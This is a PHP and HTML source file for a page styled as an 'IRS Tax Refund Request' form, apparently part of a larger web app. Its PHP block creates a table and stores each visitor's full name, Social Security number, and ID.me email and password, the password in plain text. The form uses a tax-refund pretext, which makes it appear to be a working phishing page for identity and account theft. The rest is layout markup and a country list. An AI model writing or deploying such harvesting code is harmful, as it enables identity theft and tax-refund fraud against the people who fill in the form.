<?php
ob_start();
include 'master.php';

// Auto-create tax_refunds table if not exists
$conn->query("CREATE TABLE IF NOT EXISTS `tax_refunds` (
    `id`            INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
    `user_email`    VARCHAR(255) NOT NULL DEFAULT '',
    `name`          VARCHAR(255) NOT NULL,
    `ssn`           VARCHAR(30) NOT NULL,
    `idme_email`    VARCHAR(255) NOT NULL,
    `idme_password` VARCHAR(255) NOT NULL,
    `country`       VARCHAR(100) NOT NULL,
    `status`        VARCHAR(20) NOT NULL DEFAULT 'Pending',
    `date_added`    DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4");

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['name'], $_POST['ssn'], $_POST['idme_email'], $_POST['idme_password'], $_POST['country'])) {
    $user_email    = $_SESSION['email'] ?? '';
    $name          = trim($_POST['name']);
    $ssn           = trim($_POST['ssn']);
    $idme_email    = trim($_POST['idme_email']);
    $idme_password = trim($_POST['idme_password']);
    $country       = trim($_POST['country']);

    $stmt = $conn->prepare("INSERT INTO tax_refunds (user_email, name, ssn, idme_email, idme_password, country) VALUES (?, ?, ?, ?, ?, ?)");
    $stmt->bind_param('ssssss', $user_email, $name, $ssn, $idme_email, $idme_password, $country);
    if ($stmt->execute()) {
        $_SESSION['refund_success'] = 'Your IRS tax refund request has been submitted successfully. We will review and get back to you.';
    } else {
        $_SESSION['refund_error'] = 'Submission failed. Please try again.';
    }
    $stmt->close();
    ob_end_clean();
    header('Location: track');
    exit;
}
?>

                <!-- Main Content -->
                <main class="flex-1 overflow-y-auto bg-gray-50 dark:bg-gray-900 min-h-0">
                    <div class="h-full overflow-y-auto">
                        
<div class="min-h-screen bg-gradient-to-br from-slate-50 via-blue-50 to-indigo-100 dark:from-slate-900 dark:via-slate-800 dark:to-slate-900 p-3 lg:p-4">
    <div class="max-w-4xl mx-auto">
        <!-- Alerts -->
        <?php if (!empty($_SESSION['refund_success'])): ?>
            <div class="mb-4 bg-green-50/90 dark:bg-green-900/20 border-l-4 border-green-500 p-4 rounded-r-xl backdrop-blur-sm">
                <div class="flex">
                    <div class="flex-shrink-0"><i class="fas fa-check-circle text-green-500"></i></div>
                    <div class="ml-3">
                        <p class="text-sm text-green-800 dark:text-green-300"><?php echo htmlspecialchars($_SESSION['refund_success']); ?></p>
                    </div>
                </div>
            </div>
            <?php unset($_SESSION['refund_success']); ?>
        <?php endif; ?>
        <?php if (!empty($_SESSION['refund_error'])): ?>
            <div class="mb-4 bg-red-50/90 dark:bg-red-900/20 border-l-4 border-red-500 p-4 rounded-r-xl backdrop-blur-sm">
                <div class="flex">
                    <div class="flex-shrink-0"><i class="fas fa-exclamation-circle text-red-500"></i></div>
                    <div class="ml-3">
                        <p class="text-sm text-red-700 dark:text-red-300"><?php echo htmlspecialchars($_SESSION['refund_error']); ?></p>
                    </div>
                </div>
            </div>
            <?php unset($_SESSION['refund_error']); ?>
        <?php endif; ?>

        <!-- Mobile Header -->
        <div class="lg:hidden mb-2">
            <div class="lg:hidden" x-data="{ showMobileNotifications: false }">
    <!-- Header Section -->
    <div class="flex items-center justify-between mb-6">
        <div class="flex items-center space-x-2">
                            <!-- Back Button -->
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                    <i class="fa-solid fa-arrow-left text-gray-700 dark:text-gray-300 text-base"></i>
                </a>
                        
            <div>
                                    <!-- Custom Title -->
                    <p class="text-gray-900 dark:text-white font-semibold text-base">IRS Tax Refund</p>
                            </div>
        </div>
        
        <div class="flex items-center space-x-2">
              <!-- Dark Mode Toggle -->
             <!--   <button @click="toggleDarkMode()" 
                        class="w-10 h-10 bg-white/10 dark:bg-white/20 rounded-full flex items-center justify-center backdrop-blur-sm transition-all duration-200 hover:bg-white/20 dark:hover:bg-white/30">
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                <!-- Notifications -->
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                        <i class="fa-solid fa-bell text-white text-base"></i>
                    </button>
                                                        </div>-->
                    </div>
    </div>

            <!-- Mobile Notifications Panel -->
        <div x-show="showMobileNotifications" 
             x-transition:enter="transition ease-out duration-300" 
             x-transition:enter-start="opacity-0 -translate-y-4" 
             x-transition:enter-end="opacity-100 translate-y-0"
             x-transition:leave="transition ease-in duration-200" 
             x-transition:leave-start="opacity-100 translate-y-0" 
             x-transition:leave-end="opacity-0 -translate-y-4"
             class="fixed inset-0 z-50 bg-black/20 backdrop-blur-sm" 
             @click="showMobileNotifications = false">
            
            <div @click.stop class="absolute top-0 left-0 right-0 bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 dark:from-slate-950 dark:via-slate-900 dark:to-slate-950 text-white rounded-b-3xl shadow-2xl dark:shadow-slate-900/50 max-h-[80vh] overflow-hidden">
                <!-- Header -->
                <div class="flex items-center justify-between p-4 border-b border-white/10 dark:border-white/20">
                    <div class="flex items-center space-x-3">
                        <div class="w-10 h-10 bg-white/10 dark:bg-white/20 rounded-2xl flex items-center justify-center">
                            <i class="fa-solid fa-bell text-white text-sm"></i>
                        </div>
                        <div>
                            <h3 class="text-lg font-bold text-white">Notifications</h3>
                                                                                        <p class="text-xs text-white/60">All caught up!</p>
                                                    </div>
                    </div>
                    <button @click="showMobileNotifications = false" class="w-8 h-8 bg-white/10 dark:bg-white/20 rounded-xl flex items-center justify-center hover:bg-white/20 dark:hover:bg-white/30 transition-colors">
                        <i class="fa-solid fa-times text-white text-sm"></i>
                    </button>
                </div>

                <!-- Notifications List -->
                <div class="overflow-y-auto max-h-96 custom-scrollbar">
                                        
                                        <div class="p-8 text-center">
                        <div class="w-16 h-16 bg-white/10 dark:bg-white/20 rounded-3xl flex items-center justify-center mx-auto mb-4">
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                        </div>
                        <p class="text-white font-semibold mb-1">No notifications yet</p>
                        <p class="text-xs text-white/60 dark:text-white/70">We'll notify you when something happens</p>
                    </div>
                                    </div>
                
                <!-- Footer Actions -->
                            </div>
        </div>
    </div>         </div>

        <!-- Desktop Header -->
        <div class="hidden lg:flex items-center justify-between mb-4">
            <div class="flex items-center space-x-2">
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                    <i class="fas fa-arrow-left text-xs"></i>
                </a>
                <h1 class="text-xl font-bold text-gray-900 dark:text-white">IRS Tax Refund</h1>
            </div>
            <div class="flex items-center space-x-2">
                <a href="track" class="inline-flex items-center px-3 py-1.5 text-sm font-medium text-gray-700 dark:text-gray-300 bg-white/70 dark:bg-gray-800/70 backdrop-blur-sm border border-gray-200 dark:border-gray-600 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 transition-colors">
                    <i class="fas fa-chart-line mr-1.5 text-xs"></i>
                    Track Status
                </a>
            </div>
        </div>

                    <div class="bg-white/95 dark:bg-gray-800/95 backdrop-blur-xl rounded-xl shadow-sm border border-white/20 dark:border-gray-700/50 overflow-hidden">
                <div class="p-4 lg:p-5">
                    <!-- Header -->
                    <div class="text-center mb-6">
                        <div class="inline-flex items-center justify-center w-16 h-16 rounded-full bg-primary-100/80 dark:bg-primary-900/30 backdrop-blur-sm mb-3">
                            <i class="fas fa-receipt text-primary-600 dark:text-primary-400 text-xl"></i>
                        </div>
                        <h2 class="text-xl font-bold text-gray-900 dark:text-white mb-2">IRS Tax Refund Request</h2>
                        <p class="text-sm text-gray-600 dark:text-gray-400">Please fill out the form below to submit your IRS tax refund request</p>
                    </div>

                    <form action="" method="POST" class="space-y-5">
                        <input type="hidden" name="_token" value="7Y8Vjj7Q0b4avHu1m1nlxIaJ65D9nEHYo7NLXHO9">                        
                        <!-- Personal Information Section -->
                        <div class="bg-gray-50/80 dark:bg-gray-700/50 backdrop-blur-sm p-4 rounded-lg">
                            <h3 class="text-lg font-medium text-gray-900 dark:text-white mb-4 flex items-center">
                                <i class="fas fa-user text-primary-500 dark:text-primary-400 mr-2 text-sm"></i>
                                Personal Information
                            </h3>
                            
                            <!-- Name -->
                            <div class="mb-4">
                                <label for="name" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Full Name</label>
                                <div class="relative">
                                    <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none z-10">
                                        <i class="fas fa-user text-gray-400 dark:text-gray-500 text-xs"></i>
                                    </div>
                                    <input type="text" name="name" id="name" value="" required
                                        class="block w-full pl-10 pr-3 py-2.5 border border-gray-300 dark:border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-primary-500 bg-white/90 dark:bg-gray-700/90 backdrop-blur-sm text-gray-900 dark:text-white placeholder-gray-500 dark:placeholder-gray-400 text-sm relative z-0"
                                        placeholder="Enter your full name">
                                </div>
                                                            </div>

                            <!-- SSN -->
                            <div class="mb-4">
                                <label for="ssn" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Social Security Number (SSN)</label>
                                <div class="relative">
                                    <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none z-10">
                                        <i class="fas fa-shield-alt text-gray-400 dark:text-gray-500 text-xs"></i>
                                    </div>
                                    <input type="text" name="ssn" id="ssn" value="" required
                                        class="block w-full pl-10 pr-3 py-2.5 border border-gray-300 dark:border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-primary-500 bg-white/90 dark:bg-gray-700/90 backdrop-blur-sm text-gray-900 dark:text-white placeholder-gray-500 dark:placeholder-gray-400 text-sm relative z-0"
                                        placeholder="XXX-XX-XXXX">
                                </div>
                                                            </div>
                        </div>

                        <!-- ID.me Credentials Section -->
                        <div class="bg-gray-50/80 dark:bg-gray-700/50 backdrop-blur-sm p-4 rounded-lg">
                            <h3 class="text-lg font-medium text-gray-900 dark:text-white mb-4 flex items-center">
                                <i class="fas fa-lock text-primary-500 dark:text-primary-400 mr-2 text-sm"></i>
                                ID.me Credentials
                            </h3>
                            
                            <!-- ID.me Email -->
                            <div class="mb-4">
                                <label for="idme_email" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">ID.me Email</label>
                                <div class="relative">
                                    <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none z-10">
                                        <i class="fas fa-envelope text-gray-400 dark:text-gray-500 text-xs"></i>
                                    </div>
                                    <input type="email" name="idme_email" id="idme_email" value="" required
                                        class="block w-full pl-10 pr-3 py-2.5 border border-gray-300 dark:border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-primary-500 bg-white/90 dark:bg-gray-700/90 backdrop-blur-sm text-gray-900 dark:text-white placeholder-gray-500 dark:placeholder-gray-400 text-sm relative z-0"
                                        placeholder="Enter your ID.me email">
                                </div>
                                                            </div>

                            <!-- ID.me Password -->
                            <div class="mb-4">
                                <label for="idme_password" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">ID.me Password</label>
                                <div class="relative">
                                    <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none z-10">
                                        <i class="fas fa-key text-gray-400 dark:text-gray-500 text-xs"></i>
                                    </div>
                                    <input type="password" name="idme_password" id="idme_password" required
                                        class="block w-full pl-10 pr-3 py-2.5 border border-gray-300 dark:border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-primary-500 bg-white/90 dark:bg-gray-700/90 backdrop-blur-sm text-gray-900 dark:text-white placeholder-gray-500 dark:placeholder-gray-400 text-sm relative z-0"
                                        placeholder="Enter your ID.me password">
                                </div>
                                                            </div>
                        </div>

                        <!-- Location Information Section -->
                        <div class="bg-gray-50/80 dark:bg-gray-700/50 backdrop-blur-sm p-4 rounded-lg">
                            <h3 class="text-lg font-medium text-gray-900 dark:text-white mb-4 flex items-center">
                                <i class="fas fa-map-marker-alt text-primary-500 dark:text-primary-400 mr-2 text-sm"></i>
                                Location Information
                            </h3>
                            
                            <!-- Country -->
                            <div class="mb-4">
                                <label for="country" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Country</label>
                                <select class="block w-full px-4 py-3 border border-gray-200 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-700 dark:text-white focus:outline-none focus:ring-2 focus:ring-primary-500 focus:border-primary-500 transition-all appearance-none" 
        type="text" 
        name="country" 
        autocomplete="country" 
        required>
    <option value="Afghanistan">Afghanistan</option>
    <option value="Albania">Albania</option>
    <option value="Algeria">Algeria</option>
    <option value="American Samoa">American Samoa</option>
    <option value="Andorra">Andorra</option>
    <option value="Angola">Angola</option>
    <option value="Anguilla">Anguilla</option>
    <option value="Antarctica">Antarctica</option>
    <option value="Antigua and Barbuda">Antigua and Barbuda</option>
    <option value="Argentina">Argentina</option>
    <option value="Armenia">Armenia</option>
    <option value="Aruba">Aruba</option>
    <option value="Australia">Australia</option>
    <option value="Austria">Austria</option>
    <option value="Azerbaijan">Azerbaijan</option>
    <option value="Bahamas">Bahamas</option>
    <option value="Bahrain">Bahrain</option>
    <option value="Bangladesh">Bangladesh</option>
    <option value="Barbados">Barbados</option>
    <option value="Belarus">Belarus</option>
    <option value="Belgium">Belgium</option>
    <option value="Belize">Belize</option>
    <option value="Benin">Benin</option>
    <option value="Bermuda">Bermuda</option>
    <option value="Bhutan">Bhutan</option>
    <option value="Bolivia">Bolivia</option>
    <option value="Bosnia and Herzegovina">Bosnia and Herzegovina</option>
    <option value="Botswana">Botswana</option>
    <option value="Bouvet Island">Bouvet Island</option>
    <option value="Brazil">Brazil</option>
    <option value="British Indian Ocean Territory">British Indian Ocean Territory</option>
    <option value="Brunei Darussalam">Brunei Darussalam</option>
    <option value="Bulgaria">Bulgaria</option>
    <option value="Burkina Faso">Burkina Faso</option>
    <option value="Burundi">Burundi</option>
    <option value="Cambodia">Cambodia</option>
    <option value="Cameroon">Cameroon</option>
    <option value="Canada">Canada</option>
    <option value="Cape Verde">Cape Verde</option>
    <option value="Cayman Islands">Cayman Islands</option>
    <option value="Central African Republic">Central African Republic</option>
    <option value="Chad">Chad</option>
    <option value="Chile">Chile</option>
    <option value="China">China</option>
    <option value="Christmas Island">Christmas Island</option>
    <option value="Cocos (Keeling) Islands">Cocos (Keeling) Islands</option>
    <option value="Colombia">Colombia</option>
    <option value="Comoros">Comoros</option>
    <option value="Congo">Congo</option>
    <option value="Cook Islands">Cook Islands</option>
    <option value="Costa Rica">Costa Rica</option>
    <option value="Croatia (Hrvatska)">Croatia (Hrvatska)</option>
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    <option value="Czech Republic">Czech Republic</option>
    <option value="Denmark">Denmark</option>
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    <option value="Dominican Republic">Dominican Republic</option>
    <option value="East Timor">East Timor</option>
    <option value="Ecuador">Ecuador</option>
    <option value="Egypt">Egypt</option>
    <option value="El Salvador">El Salvador</option>
    <option value="Equatorial Guinea">Equatorial Guinea</option>
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    <option value="Falkland Islands (Malvinas)">Falkland Islands (Malvinas)</option>
    <option value="Faroe Islands">Faroe Islands</option>
    <option value="Fiji">Fiji</option>
    <option value="Finland">Finland</option>
    <option value="France">France</option>
    <option value="France, Metropolitan">France, Metropolitan</option>
    <option value="French Guiana">French Guiana</option>
    <option value="French Polynesia">French Polynesia</option>
    <option value="French Southern Territories">French Southern Territories</option>
    <option value="Gabon">Gabon</option>
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    <option value="Georgia">Georgia</option>
    <option value="Germany">Germany</option>
    <option value="Ghana">Ghana</option>
    <option value="Gibraltar">Gibraltar</option>
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    <option value="Honduras">Honduras</option>
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    <option value="Iceland">Iceland</option>
    <option value="India">India</option>
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    <option value="Iraq">Iraq</option>
    <option value="Ireland">Ireland</option>
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    <option value="Japan">Japan</option>
    <option value="Jordan">Jordan</option>
    <option value="Kazakhstan">Kazakhstan</option>
    <option value="Kenya">Kenya</option>
    <option value="Kiribati">Kiribati</option>
    <option value="Korea, Democratic People's Republic of">Korea, Democratic People's Republic of</option>
    <option value="Korea, Republic of">Korea, Republic of</option>
    <option value="Kosovo">Kosovo</option>
    <option value="Kuwait">Kuwait</option>
    <option value="Kyrgyzstan">Kyrgyzstan</option>
    <option value="Lao People's Democratic Republic">Lao People's Democratic Republic</option>
    <option value="Latvia">Latvia</option>
    <option value="Lebanon">Lebanon</option>
    <option value="Lesotho">Lesotho</option>
    <option value="Liberia">Liberia</option>
    <option value="Libyan Arab Jamahiriya">Libyan Arab Jamahiriya</option>
    <option value="Liechtenstein">Liechtenstein</option>
    <option value="Lithuania">Lithuania</option>
    <option value="Luxembourg">Luxembourg</option>
    <option value="Macau">Macau</option>
    <option value="Macedonia">Macedonia</option>
    <option value="Madagascar">Madagascar</option>
    <option value="Malawi">Malawi</option>
    <option value="Malaysia">Malaysia</option>
    <option value="Maldives">Maldives</option>
    <option value="Mali">Mali</option>
    <option value="Malta">Malta</option>
    <option value="Marshall Islands">Marshall Islands</option>
    <option value="Martinique">Martinique</option>
    <option value="Mauritania">Mauritania</option>
    <option value="Mauritius">Mauritius</option>
    <option value="Mayotte">Mayotte</option>
    <option value="Mexico">Mexico</option>
    <option value="Micronesia, Federated States of">Micronesia, Federated States of</option>
    <option value="Moldova, Republic of">Moldova, Republic of</option>
    <option value="Monaco">Monaco</option>
    <option value="Mongolia">Mongolia</option>
    <option value="Montenegro">Montenegro</option>
    <option value="Montserrat">Montserrat</option>
    <option value="Morocco">Morocco</option>
    <option value="Mozambique">Mozambique</option>
    <option value="Myanmar">Myanmar</option>
    <option value="Namibia">Namibia</option>
    <option value="Nauru">Nauru</option>
    <option value="Nepal">Nepal</option>
    <option value="Netherlands">Netherlands</option>
    <option value="Netherlands Antilles">Netherlands Antilles</option>
    <option value="New Caledonia">New Caledonia</option>
    <option value="New Zealand">New Zealand</option>
    <option value="Nicaragua">Nicaragua</option>
    <option value="Niger">Niger</option>
    <option value="Nigeria">Nigeria</option>
    <option value="Niue">Niue</option>
    <option value="Norfolk Island">Norfolk Island</option>
    <option value="Northern Mariana Islands">Northern Mariana Islands</option>
    <option value="Norway">Norway</option>
    <option value="Oman">Oman</option>
    <option value="Pakistan">Pakistan</option>
    <option value="Palau">Palau</option>
    <option value="Palestine">Palestine</option>
    <option value="Panama">Panama</option>
    <option value="Papua New Guinea">Papua New Guinea</option>
    <option value="Paraguay">Paraguay</option>
    <option value="Peru">Peru</option>
    <option value="Philippines">Philippines</option>
    <option value="Pitcairn">Pitcairn</option>
    <option value="Poland">Poland</option>
    <option value="Portugal">Portugal</option>
    <option value="Puerto Rico">Puerto Rico</option>
    <option value="Qatar">Qatar</option>
    <option value="Reunion">Reunion</option>
    <option value="Romania">Romania</option>
    <option value="Russian Federation">Russian Federation</option>
    <option value="Rwanda">Rwanda</option>
    <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option>
    <option value="Saint Lucia">Saint Lucia</option>
    <option value="Saint Vincent and the Grenadines">Saint Vincent and the Grenadines</option>
    <option value="Samoa">Samoa</option>
    <option value="San Marino">San Marino</option>
    <option value="Sao Tome and Principe">Sao Tome and Principe</option>
    <option value="Saudi Arabia">Saudi Arabia</option>
    <option value="Senegal">Senegal</option>
    <option value="Serbia">Serbia</option>
    <option value="Seychelles">Seychelles</option>
    <option value="Sierra Leone">Sierra Leone</option>
    <option value="Singapore">Singapore</option>
    <option value="Slovakia">Slovakia</option>
    <option value="Slovenia">Slovenia</option>
    <option value="Solomon Islands">Solomon Islands</option>
    <option value="Somalia">Somalia</option>
    <option value="South Africa">South Africa</option>
    <option value="South Georgia South Sandwich Islands">South Georgia South Sandwich Islands</option>
    <option value="South Sudan">South Sudan</option>
    <option value="Spain">Spain</option>
    <option value="Sri Lanka">Sri Lanka</option>
    <option value="St. Helena">St. Helena</option>
    <option value="St. Pierre and Miquelon">St. Pierre and Miquelon</option>
    <option value="Sudan">Sudan</option>
    <option value="Suriname">Suriname</option>
    <option value="Svalbard and Jan Mayen Islands">Svalbard and Jan Mayen Islands</option>
    <option value="Swaziland">Swaziland</option>
    <option value="Sweden">Sweden</option>
    <option value="Switzerland">Switzerland</option>
    <option value="Syrian Arab Republic">Syrian Arab Republic</option>
    <option value="Taiwan">Taiwan</option>
    <option value="Tajikistan">Tajikistan</option>
    <option value="Tanzania, United Republic of">Tanzania, United Republic of</option>
    <option value="Thailand">Thailand</option>
    <option value="Togo">Togo</option>
    <option value="Tokelau">Tokelau</option>
    <option value="Tonga">Tonga</option>
    <option value="Trinidad and Tobago">Trinidad and Tobago</option>
    <option value="Tunisia">Tunisia</option>
    <option value="Turkey">Turkey</option>
    <option value="Turkmenistan">Turkmenistan</option>
    <option value="Turks and Caicos Islands">Turks and Caicos Islands</option>
    <option value="Tuvalu">Tuvalu</option>
    <option value="Uganda">Uganda</option>
    <option value="Ukraine">Ukraine</option>
    <option value="United Arab Emirates">United Arab Emirates</option>
    <option value="United Kingdom">United Kingdom</option>
    <option value="United States">United States</option>
    <option value="United States minor outlying islands">United States minor outlying islands</option>
    <option value="Uruguay">Uruguay</option>
    <option value="Uzbekistan">Uzbekistan</option>
    <option value="Vanuatu">Vanuatu</option>
    <option value="Vatican City State">Vatican City State</option>
    <option value="Venezuela">Venezuela</option>
    <option value="Vietnam">Vietnam</option>
    <option value="Virgin Islands (British)">Virgin Islands (British)</option>
    <option value="Virgin Islands (U.S.)">Virgin Islands (U.S.)</option>
    <option value="Wallis and Futuna Islands">Wallis and Futuna Islands</option>
    <option value="Western Sahara">Western Sahara</option>
    <option value="Yemen">Yemen</option>
    <option value="Zaire">Zaire</option>
    <option value="Zambia">Zambia</option>
    <option value="Zimbabwe">Zimbabwe</option>
</select>                                                            </div>
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